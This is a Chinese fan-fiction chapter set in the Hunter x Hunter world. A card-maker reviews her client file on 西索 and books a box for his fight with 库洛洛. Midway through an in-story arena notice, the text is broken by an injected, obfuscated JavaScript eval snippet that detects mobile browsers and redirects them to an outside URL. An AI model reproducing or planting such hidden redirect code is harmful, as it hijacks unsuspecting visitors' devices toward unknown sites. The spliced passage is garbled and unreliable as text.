“专心工作。”她对自己说,“先搞定伊路米的大单,然后再考虑那个疯子的定制需求。” 窗外,夜幕降临。 工作室里,迦勒开始同时处理两份合同——一份是刑讯扑克的批量订单,一份是血腥舞踏的艺术定制。 她的指尖在键盘上快速敲击,偶尔停下来计算成本,偶尔在空气中虚划设计思路。 而通讯器的屏幕,偶尔会亮起一下。 那是西索发来的新消息,但她暂时没空看。 反正…… 游戏还在继续。 10. 番外 西库对决预告 飞往卡金帝国北部矿区的飞艇上。 迦勒坐在头等舱靠窗的位置,木桌上摊开着一台轻薄的电脑笔记本。电脑屏幕井井有条显示着各种信息。她点开名为《客户反馈册》的文件夹,这里记录着每一位重要客户的详细资料。 她点开西索的那一页。 这一页已经明显比其他页面长许多,因为频繁修改,内容中多了许多条条框框。 客户编号:004 代号:魔术师 姓名:西索 危险等级:猎人协会评定SSS(建议保持距离) 业务类型:高端定制扑克(战斗/艺术/其他用途) 下面分几个板块: ·账单列表(持续更新中) 1.幽影系列·黑桃A损坏赔偿:9,870,000戒尼?已付 2.虹彩系列·全损补充账单:18,799,400戒尼?已付 3.星夜系列·样品费用:5,200,000戒尼?已付 4.持久芬芳系列(含薄荷味附加费):8,100,000戒尼?已付 5.共生牌·黑桃A(首张):32,000,000戒尼?已付 6.血月舞踏系列·预付款(50%):45,000,000戒尼?已付 当前应收总额:0 备注:该客户付款爽快,但制造麻烦的速度与付款速度成正比。 ·材料测试数据 ·千年纸莎草:抗冲击力尚可,抗剪切力不足(见混凝土残骸事件) ·虹彩涂层:美观度优秀,抗腐蚀性极差(见酸性黏液事件) ·陨铁骨架:强度达标,韧性需提升(共生牌裂痕事件) ·念力导流槽设计:实战验证有效(血月舞踏系列采纳) ·战斗影像分析笔记(基于共生牌反馈) 日期:2月12日/场地:天空竞技场200层 ·对手类型:强化系(金属皮肤) ·战术分析:西索采用“逐步瓦解”策略,先废关节后取要害 ·战斗时长:17分钟(其中前14分钟为戏耍阶段) ·关键发现:其念能力“伸缩自如的爱”在实战中表现出惊人的精准度和可控性 ·备注:该客户在战斗中表现出明显的“表演欲”,建议在设计时增加“视觉效果优化” 日期:3月5日/场地:不明废墟 ·对手类型:特质系(腐蚀性黏液) ·战术分析:西索在发现牌被克制后,立即转为试探性攻击以收集对手能力数据 ·战斗时长:未知(连接中断) ·关键发现:该客户具备快速分析对手能力并调整战术的能力 ·备注:危险程度需重新评估 ·新标签(手动添加) ·潜在灵感源泉 ·头号麻烦制造者 ·付款爽快的疯子 ·需要特殊对待的SSS级客户 ·审美在线(意外发现) 迦勒的视线在这些标签上轻轻划过,最后停在“需要特殊对待的SSS级客户”这一行。她轻轻叹了口气,扭头看向远方。 窗外,飞艇正穿过一片云海。夕阳的余晖将云层染成金红色,像是打翻的颜料盘。她看着那些流动的色彩,思绪却飘到了别处。 “我应该讨厌他。”迦勒低声自语,声音轻得几乎听不见,“他浪费我的心血——千年纸莎草被他嵌进混凝土,虹彩系列被酸液溶解,共生牌刚寄出去三天就多了裂痕和丑得要死的笑脸。” 她停顿了一下,指尖无意识地在笔记本边缘轻敲。 “他无视我的规则,把一切都当成游戏。账单、警告、甚至威胁要拉黑名单……他都不在乎。他只想玩得开心。” 云海在窗外翻滚,像一副永远在变化的牌局。 迦勒的视线落在“共生牌·黑桃A”那一行记录上。她的指尖轻轻触碰那行字,仿佛能透过屏幕,感受到那张牌的心跳。 “但……”她的声音更轻了,“他让我做出了共生牌。” 她闭上眼睛,脑海中浮现出制作那张牌时的场景——三天的不眠不休,念力几近枯竭,咬破舌尖强迫自己清醒,最后看着那张黑色的牌在灯光下静静躺着的瞬间。 那是她迄今为止最满意的作品。 材料不是最稀有,工艺并非最复杂,但是……它承载了一种全新的可能性。 “他让我看到了另一种可能性。”迦勒睁开眼,暗金色的虹膜在夕阳下泛着微光,“危险的、昂贵的、但……令人兴奋的可能性。” 如果她的客户都是收藏家或者普通念能力者,她的作品永远只会是精美的艺术品或实用的工具。 但西索不一样。 他会用她的牌战斗,用她的牌冒险,用她的牌去玩那些她从未想过的危险游戏。而在这个过程中,她的牌被赋予了另一种“生命”——它不再是安静的展示品,而是活跃在生死边缘的参与者。 这很疯狂。 这也很……迷人。 迦勒的嘴角不自觉地勾起一个微小的弧度。她想起西索在选手通道里对着牌说话的样子,想起他问“精彩吗?”时的表情,想起他说“像是有了一个听众”时的语气。 “一个能听懂每一个音符的听众。”她重复着那句话,摇了摇头,“真是……自大的说法。” 但不可否认的是,她确实听懂了。 通过那张牌,她听懂了他的战斗节奏,听懂了他的情绪变化,甚至……隐约听懂了他对“游戏”的那种近乎偏执的热爱。 飞艇的广播响起:“各位旅客,我们即将抵达卡金帝国北部矿区空港。请系好安全带,准备降落。” 迦勒合上笔记本,将它收进随身携带的保险箱。她系好安全带,看向窗外——下方已经能看到矿区的轮廓,巨大的挖掘设备和运输轨道像玩具般排列着。 她这次来是为了采购一批“熔岩水晶”。那是只有在活火山深处才能找到的特殊材料,在念力场中会发出类似岩浆流动的光效,非常适合用在血月舞踏系列里。 就在她准备关闭通讯器的飞行模式时,一条新消息跳了出来。 发件人:天空竞技场·赛事通知中心 「尊敬的迦勒女士: 我们诚挚地通知您,天空竞技场将于4月15日举办一场高规格表演赛。对战双方为:西索(200层楼主)VS库洛洛·鲁西鲁(幻影旅团团长,通缉等级A)。 本场比赛已开放VIP包厢申请。鉴于您的猎人执照等级及过往观赛记录,我们为您保留了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046703|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A-7包厢的优先申请权。 如需申请,请于48小时内回复。 ——天空竞技场赛事管理部」 迦勒盯着那条消息,手指停在屏幕上方。 库洛洛·鲁西鲁,幻影旅团的团长、A级通缉犯,他和西索的对决。 这听起来就像……一场灾难。 她几乎能想象出比赛的场景:两个危险程度爆表的念能力者,在满座的竞技场里展开生死搏斗。建筑物可能会倒塌,观众可能会被波及,甚至整个天空竞技场都可能…… 但。 她的凝视着“西索”这个名字。 她想看。 她想在现场,亲眼看着。 看看那个把她精心制作的牌当成玩具、当成武器、当成游戏道具的男人,在面对真正的强敌时,会展现出什么样的姿态。 看看未来那些新的卡牌,会在那样级别的战斗中,经历怎样的“人生”。 迦勒犹豫了三秒。 然后点击“申请”。 「申请确认:A-7包厢×1」 「费用:2,500,000戒尼」 「支付方式:猎人执照账户直接扣款」 发送。 几乎在消息发出的同时,扣款通知就来了。两百万五万戒尼从她的猎人账户划走。 迦勒看着那条扣款通知,突然觉得自己可能也有点疯了。 花两百五十万戒尼,去看一场大概率会变成灾难的比赛。 但……就当是市场调研吧,她想。 收集SSS级客户的实战数据,对优化后续产品有重要价值。 对,没错,就是这个。 飞艇开始下降,轻微的失重感传来。 迦勒靠在窗边,看着下方越来越近的矿区。她的指尖在空气中轻轻一点—— 嗡。 一张半透明的金色扑克在她指尖浮现。那是她用念力具现化的“概念牌”,没有实体,只有纯粹的信息投影。 牌面上,一个模糊的剪影正在舞动——那是她从共生牌的记忆中提取的西索战斗时的姿态。剪影很模糊,看不清细节,但那种流畅的、近乎舞蹈般的动作轨迹却清晰可见。 迦勒盯着那张剪影,看了很久。 然后她轻声说: “下次,做个能互动的牌吧。” 包含单向的观察,超越被动的接收。 真正的、双向的互动。 “既然你想玩的更尽兴……”她的嘴角勾起一个带着挑战意味的弧度,“那我可不能拖后腿。” 飞艇降落在空港。 迦勒收起那张金色的概念牌,提起随身行李,走向舱门。 夜色已经降临,矿区亮起星星点点的灯光,像是散落在地上的星星。 而她的脑海中,已经开始构思下一张牌的结构——美丽和实用并存,共生牌的双向升级版,某种……全新的东西。 一张能让制作者和使用者真正“连接”的牌。 一张能让她不只是“观看”,而是“参与”游戏的牌。 她走出舱门,北方的寒风吹起她的长发。 迦勒深吸一口气,冰冷的空气让她更加清醒。 游戏还在继续。 而这一次,她决定不只是坐在牌桌边发牌。